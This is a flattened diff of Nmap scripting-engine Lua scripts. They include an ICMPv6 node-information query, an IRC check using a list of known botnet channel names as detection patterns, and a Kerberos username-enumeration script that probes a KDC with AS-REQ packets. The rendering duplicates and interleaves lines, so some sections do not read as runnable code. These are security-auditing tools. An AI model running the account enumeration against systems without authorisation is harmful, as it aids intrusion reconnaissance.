data = string.sub(p.buf, p.icmpv6_offset + 16 + 1) data = string.sub(p.buf, p.icmpv6_offset + 16 + 1)
if not STRINGIFY[qtype] then if not STRINGIFY[qtype] then
-- This is a not a qtype we sent or know about. -- This is a not a qtype we sent or know about.
stdnse.print_debug(1, "Got NI reply with unknown qtype %d from %s", qtype, p.ip6_src) stdnse.print_debug(1, "Got NI reply with unknown qtype %d from %s", qtype, p.ip6_src)
return return
end end
if p.icmpv6_code == ICMPv6_NODEINFORESP_SUCCESS then if p.icmpv6_code == ICMPv6_NODEINFORESP_SUCCESS then
text = STRINGIFY[qtype](flags, data) text = STRINGIFY[qtype](flags, data)
elseif p.icmpv6_code == ICMPv6_NODEINFORESP_REFUSED then elseif p.icmpv6_code == ICMPv6_NODEINFORESP_REFUSED then
text = "refused" text = "refused"
elseif p.icmpv6_code == ICMPv6_NODEINFORESP_UNKNOWN then elseif p.icmpv6_code == ICMPv6_NODEINFORESP_UNKNOWN then
text = string.format("target said: qtype %d is unknown", qtype) text = string.format("target said: qtype %d is unknown", qtype)
else else
text = string.format("unknown ICMPv6 code %d for qtype %d", p.icmpv6_code, qtype) text = string.format("unknown ICMPv6 code %d for qtype %d", p.icmpv6_code, qtype)
end end
return qtype, text return qtype, text
end end
local function format_results(results) local function format_results(results)
local QTYPE_ORDER = { local QTYPE_ORDER = {
QTYPE_NOOP, QTYPE_NOOP,
QTYPE_NODENAME, QTYPE_NODENAME,
QTYPE_NODEADDRESSES, QTYPE_NODEADDRESSES,
QTYPE_NODEIPV4ADDRESSES, QTYPE_NODEIPV4ADDRESSES,
} }
local output local output
output = {} output = {}
for _, qtype in ipairs(QTYPE_ORDER) do for _, qtype in ipairs(QTYPE_ORDER) do
if results[qtype] then if results[qtype] then
output[#output + 1] = QTYPE_STRINGS[qtype] .. ": " .. results[qtype] output[#output + 1] = QTYPE_STRINGS[qtype] .. ": " .. results[qtype]
end end
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
function action(host) function action(host)
local s local s
local timeout, end_time, now local timeout, end_time, now
local pending, results local pending, results
timeout = host.times.timeout * 10 timeout = host.times.timeout * 10
s = open_sniffer(host) s = open_sniffer(host)
send_queries(host) send_queries(host)
pending = { pending = {
[QTYPE_NODENAME] = true, [QTYPE_NODENAME] = true,
[QTYPE_NODEADDRESSES] = true, [QTYPE_NODEADDRESSES] = true,
[QTYPE_NODEIPV4ADDRESSES] = true, [QTYPE_NODEIPV4ADDRESSES] = true,
} }
results = {} results = {}
now = nmap.clock_ms() now = nmap.clock_ms()
end_time = now + timeout end_time = now + timeout
repeat repeat
local _, status, buf local _, status, buf
s:set_timeout((end_time - now) * 1000) s:set_timeout((end_time - now) * 1000)
status, _, _, buf = s:pcap_receive() status, _, _, buf = s:pcap_receive()
if status then if status then
local qtype, text = handle_received_packet(buf) local qtype, text = handle_received_packet(buf)
if qtype then if qtype then
results[qtype] = text results[qtype] = text
pending[qtype] = nil pending[qtype] = nil
end end
end end
now = nmap.clock_ms() now = nmap.clock_ms()
until empty(pending) or now > end_time until empty(pending) or now > end_time
s:pcap_close() s:pcap_close()
return format_results(results) return format_results(results)
end end

View File

@@ -56,22 +56,22 @@ local RPL_LIST = "322"
local RPL_LISTEND = "323" local RPL_LISTEND = "323"
local DEFAULT_CHANNELS = { local DEFAULT_CHANNELS = {
"loic", "loic",
"Agobot", "Agobot",
"Slackbot", "Slackbot",
"Mytob", "Mytob",
"Rbot", "Rbot",
"SdBot", "SdBot",
"poebot", "poebot",
"IRCBot", "IRCBot",
"VanBot", "VanBot",
"MPack", "MPack",
"Storm", "Storm",
"GTbot", "GTbot",
"Spybot", "Spybot",
"Phatbot", "Phatbot",
"Wargbot", "Wargbot",
"RxBot", "RxBot",
} }
portrule = shortport.port_or_service({6666, 6667, 6697, 6679}, {"irc", "ircs"}) portrule = shortport.port_or_service({6666, 6667, 6697, 6679}, {"irc", "ircs"})
@@ -84,238 +84,238 @@ portrule = shortport.port_or_service({6666, 6667, 6697, 6679}, {"irc", "ircs"})
-- --
-- See RFC 2812, section 2.3.1 for BNF of a message. -- See RFC 2812, section 2.3.1 for BNF of a message.
local function irc_parse_message(s) local function irc_parse_message(s)
local prefix, command, params local prefix, command, params
local _, p, t local _, p, t
s = string.gsub(s, "\r?\n$", "") s = string.gsub(s, "\r?\n$", "")
if string.match(s, "^ *$") then if string.match(s, "^ *$") then
return true, nil return true, nil
end end
p = 0 p = 0
_, t, prefix = string.find(s, "^:([^ ]+) +", p + 1) _, t, prefix = string.find(s, "^:([^ ]+) +", p + 1)
if t then if t then
p = t p = t
end end
-- We do not check for any special format of the command name or -- We do not check for any special format of the command name or
-- number. -- number.
_, p, command = string.find(s, "^([^ ]+)", p + 1) _, p, command = string.find(s, "^([^ ]+)", p + 1)
if not p then if not p then
return nil, "Presumed message is missing a command." return nil, "Presumed message is missing a command."
end end
params = {} params = {}
while p + 1 <= #s do while p + 1 <= #s do
local param local param
_, p = string.find(s, "^ +", p + 1) _, p = string.find(s, "^ +", p + 1)
if not p then if not p then
return nil, "Missing a space before param." return nil, "Missing a space before param."
end end
-- We don't do any checks on the contents of params. -- We don't do any checks on the contents of params.
if #params == 14 then if #params == 14 then
params[#params + 1] = string.sub(s, p + 1) params[#params + 1] = string.sub(s, p + 1)
break break
elseif string.match(s, "^:", p + 1) then elseif string.match(s, "^:", p + 1) then
params[#params + 1] = string.sub(s, p + 2) params[#params + 1] = string.sub(s, p + 2)
break break
else else
_, p, param = string.find(s, "^([^ ]+)", p + 1) _, p, param = string.find(s, "^([^ ]+)", p + 1)
if not p then if not p then
return nil, "Missing a param." return nil, "Missing a param."
end end
params[#params + 1] = param params[#params + 1] = param
end end
end end
return true, prefix, command, params return true, prefix, command, params
end end
local function irc_compose_message(prefix, command, ...) local function irc_compose_message(prefix, command, ...)
local parts, params local parts, params
parts = {} parts = {}
if prefix then if prefix then
parts[#parts + 1] = prefix parts[#parts + 1] = prefix
end end
if string.match(command, "^:") then if string.match(command, "^:") then
return nil, "Command may not begin with ':'." return nil, "Command may not begin with ':'."
end end
parts[#parts + 1] = command parts[#parts + 1] = command
params = {...} params = {...}
for i, param in ipairs(params) do for i, param in ipairs(params) do
if not string.match(param, "^[^\0\r\n :][^\0\r\n ]*$") then if not string.match(param, "^[^\0\r\n :][^\0\r\n ]*$") then
if i < #params then if i < #params then
return nil, "Bad format for param." return nil, "Bad format for param."
else else
parts[#parts + 1] = ":" .. param parts[#parts + 1] = ":" .. param
end end
else else
parts[#parts + 1] = param parts[#parts + 1] = param
end end
end end
return stdnse.strjoin(" ", parts) .. "\r\n" return stdnse.strjoin(" ", parts) .. "\r\n"
end end
local function random_nick() local function random_nick()
local nick = {} local nick = {}
for i = 1, 9 do for i = 1, 9 do
nick[#nick + 1] = string.char(math.random(string.byte("a"), string.byte("z"))) nick[#nick + 1] = string.char(math.random(string.byte("a"), string.byte("z")))
end end
return table.concat(nick) return table.concat(nick)
end end
local function splitlines(s) local function splitlines(s)
local lines = {} local lines = {}
local _, i, j local _, i, j
i = 1 i = 1
while i <= #s do while i <= #s do
_, j = string.find(s, "\r?\n", i) _, j = string.find(s, "\r?\n", i)
lines[#lines + 1] = string.sub(s, i, j) lines[#lines + 1] = string.sub(s, i, j)
if not j then if not j then
break break
end end
i = j + 1 i = j + 1
end end
return lines return lines
end end
local function irc_connect(host, port, nick, user, pass) local function irc_connect(host, port, nick, user, pass)
local commands = {} local commands = {}
local irc = {} local irc = {}
local banner local banner
-- Section 3.1.1. -- Section 3.1.1.
if pass then if pass then
commands[#commands + 1] = irc_compose_message(nil, "PASS", pass) commands[#commands + 1] = irc_compose_message(nil, "PASS", pass)
end end
nick = nick or random_nick() nick = nick or random_nick()
commands[#commands + 1] = irc_compose_message(nil, "NICK", nick) commands[#commands + 1] = irc_compose_message(nil, "NICK", nick)
user = user or nick user = user or nick
commands[#commands + 1] = irc_compose_message(nil, "USER", user, "8", "*", user) commands[#commands + 1] = irc_compose_message(nil, "USER", user, "8", "*", user)
irc.sd, banner = comm.tryssl(host, port, table.concat(commands)) irc.sd, banner = comm.tryssl(host, port, table.concat(commands))
if not irc.sd then if not irc.sd then
return nil, "Unable to open connection." return nil, "Unable to open connection."
end end
irc.sd:set_timeout(60 * 1000) irc.sd:set_timeout(60 * 1000)
-- Buffer these initial lines for irc_readline. -- Buffer these initial lines for irc_readline.
irc.linebuf = splitlines(banner) irc.linebuf = splitlines(banner)
irc.buf = stdnse.make_buffer(irc.sd, "\r?\n") irc.buf = stdnse.make_buffer(irc.sd, "\r?\n")
return irc return irc
end end
local function irc_disconnect(irc) local function irc_disconnect(irc)
irc.sd:close() irc.sd:close()
end end
local function irc_readline(irc) local function irc_readline(irc)
local line local line
if next(irc.linebuf) then if next(irc.linebuf) then
line = table.remove(irc.linebuf, 1) line = table.remove(irc.linebuf, 1)
if string.match(line, "\r?\n$") then if string.match(line, "\r?\n$") then
return line return line
else else
-- We had only half a line buffered. -- We had only half a line buffered.
return line .. irc.buf() return line .. irc.buf()
end end
else else
return irc.buf() return irc.buf()
end end
end end
local function irc_read_message(irc) local function irc_read_message(irc)
local line, err local line, err
line, err = irc_readline(irc) line, err = irc_readline(irc)
if not line then if not line then
return nil, err return nil, err
end end
return irc_parse_message(line) return irc_parse_message(line)
end end
local function irc_send_message(irc, prefix, command, ...) local function irc_send_message(irc, prefix, command, ...)
local line local line
line = irc_compose_message(prefix, command, ...) line = irc_compose_message(prefix, command, ...)
irc.sd:send(line) irc.sd:send(line)
end end
-- Prefix channel names with '#' if necessary and concatenate into a -- Prefix channel names with '#' if necessary and concatenate into a
-- comma-separated list. -- comma-separated list.
local function concat_channel_list(channels) local function concat_channel_list(channels)
local mod = {} local mod = {}
for _, channel in ipairs(channels) do for _, channel in ipairs(channels) do
if not string.match(channel, "^#") then if not string.match(channel, "^#") then
channel = "#" .. channel channel = "#" .. channel
end end
mod[#mod + 1] = channel mod[#mod + 1] = channel
end end
return stdnse.strjoin(",", mod) return stdnse.strjoin(",", mod)
end end
function action(host, port) function action(host, port)
local irc local irc
local search_channels local search_channels
local channels local channels
local errorparams local errorparams
search_channels = stdnse.get_script_args(SCRIPT_NAME .. ".channels") search_channels = stdnse.get_script_args(SCRIPT_NAME .. ".channels")
if not search_channels then if not search_channels then
search_channels = DEFAULT_CHANNELS search_channels = DEFAULT_CHANNELS
elseif type(search_channels) == "string" then elseif type(search_channels) == "string" then
search_channels = {search_channels} search_channels = {search_channels}
end end
irc = irc_connect(host, port) irc = irc_connect(host, port)
irc_send_message(irc, "LIST", concat_channel_list(search_channels)) irc_send_message(irc, "LIST", concat_channel_list(search_channels))
channels = {} channels = {}
while true do while true do
local status, prefix, code, params local status, prefix, code, params
status, prefix, code, params = irc_read_message(irc) status, prefix, code, params = irc_read_message(irc)
if not status then if not status then
-- Error message from irc_read_message. -- Error message from irc_read_message.
errorparams = {prefix} errorparams = {prefix}
break break
elseif code == "ERROR" then elseif code == "ERROR" then
errorparams = params errorparams = params
break break
elseif code == RPL_TRYAGAIN then elseif code == RPL_TRYAGAIN then
errorparams = params errorparams = params
break break
elseif code == RPL_LIST then elseif code == RPL_LIST then
if #params >= 2 then if #params >= 2 then
channels[#channels + 1] = params[2] channels[#channels + 1] = params[2]
else else
stdnse.print_debug("Got short " .. RPL_LIST .. "response.") stdnse.print_debug("Got short " .. RPL_LIST .. "response.")
end end
elseif code == RPL_LISTEND then elseif code == RPL_LISTEND then
break break
end end
end end
irc_disconnect(irc) irc_disconnect(irc)
if errorparams then if errorparams then
channels[#channels + 1] = "ERROR: " .. stdnse.strjoin(" ", errorparams) channels[#channels + 1] = "ERROR: " .. stdnse.strjoin(" ", errorparams)
end end
return stdnse.format_output(true, channels) return stdnse.format_output(true, channels)
end end

View File

@@ -56,235 +56,235 @@ portrule = shortport.port_or_service( 88, {"kerberos-sec"}, {"udp","tcp"}, {"ope
-- of it. -- of it.
KRB5 = { KRB5 = {
-- Valid Kerberos message types -- Valid Kerberos message types
MessageType = { MessageType = {
['AS-REQ'] = 10, ['AS-REQ'] = 10,
['AS-REP'] = 11, ['AS-REP'] = 11,
['KRB-ERROR'] = 30, ['KRB-ERROR'] = 30,
}, },
-- Some of the used error messages -- Some of the used error messages
ErrorMessages = { ErrorMessages = {
['KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN'] = 6, ['KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN'] = 6,
['KRB5KDC_ERR_PREAUTH_REQUIRED'] = 25, ['KRB5KDC_ERR_PREAUTH_REQUIRED'] = 25,
['KDC_ERR_WRONG_REALM'] = 68, ['KDC_ERR_WRONG_REALM'] = 68,
}, },
-- A list of some ot the encryption types -- A list of some ot the encryption types
EncryptionTypes = { EncryptionTypes = {
{ ['aes256-cts-hmac-sha1-96'] = 18 }, { ['aes256-cts-hmac-sha1-96'] = 18 },
{ ['aes128-cts-hmac-sha1-96'] = 17 }, { ['aes128-cts-hmac-sha1-96'] = 17 },
{ ['des3-cbc-sha1'] = 16 }, { ['des3-cbc-sha1'] = 16 },
{ ['rc4-hmac'] = 23 }, { ['rc4-hmac'] = 23 },
-- { ['des-cbc-crc'] = 1 }, -- { ['des-cbc-crc'] = 1 },
-- { ['des-cbc-md5'] = 3 }, -- { ['des-cbc-md5'] = 3 },
-- { ['des-cbc-md4'] = 2 } -- { ['des-cbc-md4'] = 2 }
}, },
-- A list of principal name types -- A list of principal name types
NameTypes = { NameTypes = {
['NT-PRINCIPAL'] = 1, ['NT-PRINCIPAL'] = 1,
['NT-SRV-INST'] = 2, ['NT-SRV-INST'] = 2,
}, },
-- Creates a new Krb5 instance -- Creates a new Krb5 instance
-- @return o as the new instance -- @return o as the new instance
new = function(self) new = function(self)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end,
-- A number of custom ASN1 decoders needed to decode the response
tagDecoder = {
["18"] = function( self, encStr, elen, pos )
return bin.unpack("A" .. elen, encStr, pos)
end, end,
-- A number of custom ASN1 decoders needed to decode the response ["1B"] = function( ... ) return KRB5.tagDecoder["18"](...) end,
tagDecoder = {
["18"] = function( self, encStr, elen, pos ) ["6B"] = function( self, encStr, elen, pos )
return bin.unpack("A" .. elen, encStr, pos) local seq
end, pos, seq = self:decodeSeq(encStr, elen, pos)
return pos, seq
end,
["1B"] = function( ... ) return KRB5.tagDecoder["18"](...) end, -- Not really sure what these are, but they all decode sequences
["7E"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A0"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A1"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A2"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A3"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A4"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A5"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A6"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A7"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A8"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A9"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AA"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AC"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["6B"] = function( self, encStr, elen, pos ) },
local seq
pos, seq = self:decodeSeq(encStr, elen, pos)
return pos, seq
end,
-- Not really sure what these are, but they all decode sequences -- A few Kerberos ASN1 encoders
["7E"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, tagEncoder = {
["A0"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A1"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A2"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A3"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A4"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A5"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A6"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A7"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A8"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["A9"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AA"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
["AC"] = function( ... ) return KRB5.tagDecoder["6B"](...) end,
}, ['table'] = function(self, val)
-- A few Kerberos ASN1 encoders local types = {
tagEncoder = { ['GeneralizedTime'] = 0x18,
['GeneralString'] = 0x1B,
}
['table'] = function(self, val) local len = asn1.ASN1Encoder.encodeLength(#val[1])
local types = { if ( val._type and types[val._type] ) then
['GeneralizedTime'] = 0x18, return bin.pack("CAA", types[val._type], len, val[1])
['GeneralString'] = 0x1B, elseif ( val._type and 'number' == type(val._type) ) then
} return bin.pack("CAA", val._type, len, val[1])
end
local len = asn1.ASN1Encoder.encodeLength(#val[1]) end,
},
if ( val._type and types[val._type] ) then -- Encodes a sequence using a custom type
return bin.pack("CAA", types[val._type], len, val[1]) -- @param encoder class containing an instance of a ASN1Encoder
elseif ( val._type and 'number' == type(val._type) ) then -- @param seqtype number the sequence type to encode
return bin.pack("CAA", val._type, len, val[1]) -- @param seq string containing the sequence to encode
end encodeSequence = function(self, encoder, seqtype, seq)
return encoder:encode( { _type = seqtype, seq } )
end,
end, -- Encodes a Kerberos Principal
}, -- @param encoder class containing an instance of ASN1Encoder
-- @param name_type number containing a valid Kerberos name type
-- @param names table containing a list of names to encode
-- @return princ string containing an encoded principal
encodePrincipal = function(self, encoder, name_type, names )
local princ = ""
-- Encodes a sequence using a custom type for _, n in ipairs(names) do
-- @param encoder class containing an instance of a ASN1Encoder princ = princ .. encoder:encode( { _type = 'GeneralString', n } )
-- @param seqtype number the sequence type to encode end
-- @param seq string containing the sequence to encode
encodeSequence = function(self, encoder, seqtype, seq)
return encoder:encode( { _type = seqtype, seq } )
end,
-- Encodes a Kerberos Principal princ = self:encodeSequence(encoder, 0x30, princ)
-- @param encoder class containing an instance of ASN1Encoder princ = self:encodeSequence(encoder, 0xa1, princ)
-- @param name_type number containing a valid Kerberos name type princ = encoder:encode( name_type ) .. princ
-- @param names table containing a list of names to encode
-- @return princ string containing an encoded principal
encodePrincipal = function(self, encoder, name_type, names )
local princ = ""
for _, n in ipairs(names) do -- not sure about how this works, but apparently it does
princ = princ .. encoder:encode( { _type = 'GeneralString', n } ) princ = bin.pack("H", "A003") .. princ
end princ = self:encodeSequence(encoder,0x30, princ)
princ = self:encodeSequence(encoder, 0x30, princ) return princ
princ = self:encodeSequence(encoder, 0xa1, princ) end,
princ = encoder:encode( name_type ) .. princ
-- not sure about how this works, but apparently it does -- Encodes the Kerberos AS-REQ request
princ = bin.pack("H", "A003") .. princ -- @param realm string containing the Kerberos REALM
princ = self:encodeSequence(encoder,0x30, princ) -- @param user string containing the Kerberos principal name
-- @param protocol string containing either of "tcp" or "udp"
-- @return data string containing the encoded request
encodeASREQ = function(self, realm, user, protocol)
return princ assert(protocol == "tcp" or protocol == "udp",
end, "Protocol has to be either \"tcp\" or \"udp\"")
-- Encodes the Kerberos AS-REQ request local encoder = asn1.ASN1Encoder:new()
-- @param realm string containing the Kerberos REALM encoder:registerTagEncoders(KRB5.tagEncoder)
-- @param user string containing the Kerberos principal name
-- @param protocol string containing either of "tcp" or "udp"
-- @return data string containing the encoded request
encodeASREQ = function(self, realm, user, protocol)
assert(protocol == "tcp" or protocol == "udp", local data = ""
"Protocol has to be either \"tcp\" or \"udp\"")
local encoder = asn1.ASN1Encoder:new() -- encode encryption types
encoder:registerTagEncoders(KRB5.tagEncoder) for _,enctype in ipairs(KRB5.EncryptionTypes) do
for k, v in pairs( enctype ) do
data = data .. encoder:encode(v)
end
end
local data = "" data = self:encodeSequence(encoder, 0x30, data )
data = self:encodeSequence(encoder, 0xA8, data )
-- encode encryption types -- encode nonce
for _,enctype in ipairs(KRB5.EncryptionTypes) do local nonce = 155874945
for k, v in pairs( enctype ) do data = self:encodeSequence(encoder, 0xA7, encoder:encode(nonce) ) .. data
data = data .. encoder:encode(v)
end
end
data = self:encodeSequence(encoder, 0x30, data ) -- encode from/to
data = self:encodeSequence(encoder, 0xA8, data ) local fromdate = os.time() + 10 * 60 * 60
local from = os.date("%Y%m%d%H%M%SZ", fromdate)
data = self:encodeSequence(encoder, 0xA5, encoder:encode( { from, _type='GeneralizedTime' })) .. data
-- encode nonce local names = { "krbtgt", realm }
local nonce = 155874945 local sname = self:encodePrincipal( encoder, KRB5.NameTypes['NT-SRV-INST'], names )
data = self:encodeSequence(encoder, 0xA7, encoder:encode(nonce) ) .. data sname = self:encodeSequence(encoder, 0xA3, sname)
data = sname .. data
-- encode from/to -- realm
local fromdate = os.time() + 10 * 60 * 60 data = self:encodeSequence(encoder, 0xA2, encoder:encode( { _type = 'GeneralString', realm })) .. data
local from = os.date("%Y%m%d%H%M%SZ", fromdate)
data = self:encodeSequence(encoder, 0xA5, encoder:encode( { from, _type='GeneralizedTime' })) .. data
local names = { "krbtgt", realm } local cname = self:encodePrincipal(encoder, KRB5.NameTypes['NT-PRINCIPAL'], { user })
local sname = self:encodePrincipal( encoder, KRB5.NameTypes['NT-SRV-INST'], names ) cname = self:encodeSequence(encoder, 0xA1, cname)
sname = self:encodeSequence(encoder, 0xA3, sname) data = cname .. data
data = sname .. data
-- realm -- forwardable
data = self:encodeSequence(encoder, 0xA2, encoder:encode( { _type = 'GeneralString', realm })) .. data local kdc_options = 0x40000000
data = bin.pack(">I", kdc_options) .. data
local cname = self:encodePrincipal(encoder, KRB5.NameTypes['NT-PRINCIPAL'], { user }) -- add padding
cname = self:encodeSequence(encoder, 0xA1, cname) data = bin.pack("C", 0) .. data
data = cname .. data
-- forwardable -- hmm, wonder what this is
local kdc_options = 0x40000000 data = bin.pack("H", "A0070305") .. data
data = bin.pack(">I", kdc_options) .. data data = self:encodeSequence(encoder, 0x30, data)
data = self:encodeSequence(encoder, 0xA4, data)
data = self:encodeSequence(encoder, 0xA2, encoder:encode(KRB5.MessageType['AS-REQ'])) .. data
-- add padding local pvno = 5
data = bin.pack("C", 0) .. data data = self:encodeSequence(encoder, 0xA1, encoder:encode(pvno) ) .. data
-- hmm, wonder what this is data = self:encodeSequence(encoder, 0x30, data)
data = bin.pack("H", "A0070305") .. data data = self:encodeSequence(encoder, 0x6a, data)
data = self:encodeSequence(encoder, 0x30, data)
data = self:encodeSequence(encoder, 0xA4, data)
data = self:encodeSequence(encoder, 0xA2, encoder:encode(KRB5.MessageType['AS-REQ'])) .. data
local pvno = 5 if ( protocol == "tcp" ) then
data = self:encodeSequence(encoder, 0xA1, encoder:encode(pvno) ) .. data data = bin.pack(">I", #data) .. data
end
data = self:encodeSequence(encoder, 0x30, data) return data
data = self:encodeSequence(encoder, 0x6a, data) end,
if ( protocol == "tcp" ) then -- Parses the result from the AS-REQ
data = bin.pack(">I", #data) .. data -- @param data string containing the raw unparsed data
end -- @return status boolean true on success, false on failure
-- @return msg table containing the fields <code>type</code> and
-- <code>error_code</code> if the type is an error.
parseResult = function(self, data)
return data local decoder = asn1.ASN1Decoder:new()
end, decoder:registerTagDecoders(KRB5.tagDecoder)
decoder:setStopOnError(true)
-- Parses the result from the AS-REQ local pos, result = decoder:decode(data)
-- @param data string containing the raw unparsed data local msg = {}
-- @return status boolean true on success, false on failure
-- @return msg table containing the fields <code>type</code> and
-- <code>error_code</code> if the type is an error.
parseResult = function(self, data)
local decoder = asn1.ASN1Decoder:new()
decoder:registerTagDecoders(KRB5.tagDecoder)
decoder:setStopOnError(true)
local pos, result = decoder:decode(data)
local msg = {}
if ( #result == 0 or #result[1] < 2 or #result[1][2] < 1 ) then if ( #result == 0 or #result[1] < 2 or #result[1][2] < 1 ) then
return false, nil return false, nil
end end
msg.type = result[1][2][1] msg.type = result[1][2][1]
if ( msg.type == KRB5.MessageType['KRB-ERROR'] ) then if ( msg.type == KRB5.MessageType['KRB-ERROR'] ) then
if ( #result[1] < 5 and #result[1][5] < 1 ) then if ( #result[1] < 5 and #result[1][5] < 1 ) then
return false, nil return false, nil
end end
msg.error_code = result[1][5][1] msg.error_code = result[1][5][1]
return true, msg return true, msg
elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
return true, msg return true, msg
end end
return false, nil return false, nil
end, end,
} }
@@ -297,42 +297,42 @@ KRB5 = {
-- @return state VALID or INVALID or error message if status was false -- @return state VALID or INVALID or error message if status was false
local function checkUser( host, port, realm, user ) local function checkUser( host, port, realm, user )
local krb5 = KRB5:new() local krb5 = KRB5:new()
local data = krb5:encodeASREQ(realm, user, port.protocol) local data = krb5:encodeASREQ(realm, user, port.protocol)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status = socket:connect(host, port) local status = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return false, "ERROR: Failed to connect to Kerberos service" return false, "ERROR: Failed to connect to Kerberos service"
end end
socket:send(data) socket:send(data)
status, data = socket:receive() status, data = socket:receive()
if ( port.protocol == 'tcp' ) then data = data:sub(5) end if ( port.protocol == 'tcp' ) then data = data:sub(5) end
if ( not(status) ) then if ( not(status) ) then
return false, "ERROR: Failed to receive result from Kerberos service" return false, "ERROR: Failed to receive result from Kerberos service"
end end
socket:close() socket:close()
local msg local msg
status, msg = krb5:parseResult(data) status, msg = krb5:parseResult(data)
if ( not(status) ) then if ( not(status) ) then
return false, "ERROR: Failed to parse the result returned from the Kerberos service" return false, "ERROR: Failed to parse the result returned from the Kerberos service"
end end
if ( msg and msg.error_code ) then if ( msg and msg.error_code ) then
if ( msg.error_code == KRB5.ErrorMessages['KRB5KDC_ERR_PREAUTH_REQUIRED'] ) then if ( msg.error_code == KRB5.ErrorMessages['KRB5KDC_ERR_PREAUTH_REQUIRED'] ) then
return true, "VALID" return true, "VALID"
elseif ( msg.error_code == KRB5.ErrorMessages['KDC_ERR_WRONG_REALM'] ) then elseif ( msg.error_code == KRB5.ErrorMessages['KDC_ERR_WRONG_REALM'] ) then
return false, "Invalid Kerberos REALM" return false, "Invalid Kerberos REALM"
end end
elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
return true, "VALID" return true, "VALID"
end end
return true, "INVALID" return true, "INVALID"
end end
-- Checks whether the Kerberos REALM exists or not -- Checks whether the Kerberos REALM exists or not
@@ -341,7 +341,7 @@ end
-- @param realm string containing the Kerberos REALM -- @param realm string containing the Kerberos REALM
-- @return status boolean, true on success, false on failure -- @return status boolean, true on success, false on failure
local function isValidRealm( host, port, realm ) local function isValidRealm( host, port, realm )
return checkUser( host, port, realm, "nmap") return checkUser( host, port, realm, "nmap")
end end
-- Wraps the checkUser function so that it is suitable to be called from -- Wraps the checkUser function so that it is suitable to be called from
@@ -352,53 +352,53 @@ end
-- @param user string containing the Kerberos principal -- @param user string containing the Kerberos principal
-- @param result table to which all discovered users are added -- @param result table to which all discovered users are added
local function checkUserThread( host, port, realm, user, result ) local function checkUserThread( host, port, realm, user, result )
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local status, state = checkUser(host, port, realm, user) local status, state = checkUser(host, port, realm, user)
if ( status and state == "VALID" ) then if ( status and state == "VALID" ) then
table.insert(result, ("%s@%s"):format(user,realm)) table.insert(result, ("%s@%s"):format(user,realm))
end end
condvar "signal" condvar "signal"
end end
action = function( host, port ) action = function( host, port )
local realm = stdnse.get_script_args("krb5-enum-users.realm") local realm = stdnse.get_script_args("krb5-enum-users.realm")
local result = {} local result = {}
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
-- did the user supply a realm -- did the user supply a realm
if ( not(realm) ) then if ( not(realm) ) then
return "ERROR: No Kerberos REALM was supplied, aborting ..." return "ERROR: No Kerberos REALM was supplied, aborting ..."
end end
-- does the realm appear to exist -- does the realm appear to exist
if ( not(isValidRealm(host, port, realm)) ) then if ( not(isValidRealm(host, port, realm)) ) then
return "ERROR: Invalid Kerberos REALM, aborting ..." return "ERROR: Invalid Kerberos REALM, aborting ..."
end end
-- load our user database from unpwdb -- load our user database from unpwdb
local status, usernames = unpwdb.usernames() local status, usernames = unpwdb.usernames()
if( not(status) ) then return "ERROR: Failed to load unpwdb usernames" end if( not(status) ) then return "ERROR: Failed to load unpwdb usernames" end
-- start as many threads as there are names in the list -- start as many threads as there are names in the list
local threads = {} local threads = {}
for user in usernames do for user in usernames do
local co = stdnse.new_thread( checkUserThread, host, port, realm, user, result ) local co = stdnse.new_thread( checkUserThread, host, port, realm, user, result )
threads[co] = true threads[co] = true
end end
-- wait for all threads to finish up -- wait for all threads to finish up
repeat repeat
for t in pairs(threads) do for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until( next(threads) == nil ) until( next(threads) == nil )
if ( #result > 0 ) then if ( #result > 0 ) then
result = { name = "Discovered Kerberos principals", result } result = { name = "Discovered Kerberos principals", result }
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -98,25 +98,25 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
-- @return string containing a valid naming context -- @return string containing a valid naming context
function get_naming_context( socket ) function get_naming_context( socket )
